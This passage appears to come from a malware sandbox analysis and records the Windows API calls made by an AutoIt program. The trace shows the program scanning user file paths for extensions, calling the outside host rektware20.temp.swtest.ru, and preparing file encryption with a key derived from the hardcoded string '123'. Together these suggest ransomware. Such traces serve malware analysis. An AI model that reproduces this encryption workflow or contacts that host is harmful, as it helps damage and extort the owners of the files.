cchCount2=3) returned 3 [0072.483] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="My Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Shapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hapes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="apes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pes\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="private\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rivate\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ivate\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vate\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ate\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.484] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="te\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="folder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="older.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lder.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="der.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="er.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r.ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.485] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ico", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.485] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.485] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0072.485] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.485] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0072.485] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0072.485] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.485] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0072.485] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0072.485] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ee1c) returned 1 [0072.485] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.485] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.485] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.486] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0072.486] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0072.486] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0072.486] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0072.486] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0072.486] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.487] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.487] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.487] CloseHandle (hObject=0x0) returned 0 [0072.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.487] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0072.487] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.488] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.488] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.488] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.488] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.488] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.488] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.488] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0072.488] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.488] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.488] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0072.488] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.488] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.488] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.489] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.489] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.489] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0072.489] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0072.489] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0072.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0072.489] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0072.489] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0072.490] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.490] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.490] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0072.490] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.490] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.490] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.490] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.490] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.490] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.490] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.490] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.490] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.490] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.491] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.491] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.491] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0072.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.491] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.491] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.491] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.491] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.491] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.491] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.491] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.491] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.491] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.491] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.491] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.491] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.491] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.491] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.492] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.492] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0072.492] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0072.492] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0072.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.501] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629400, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.501] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.501] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.501] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.501] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.501] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 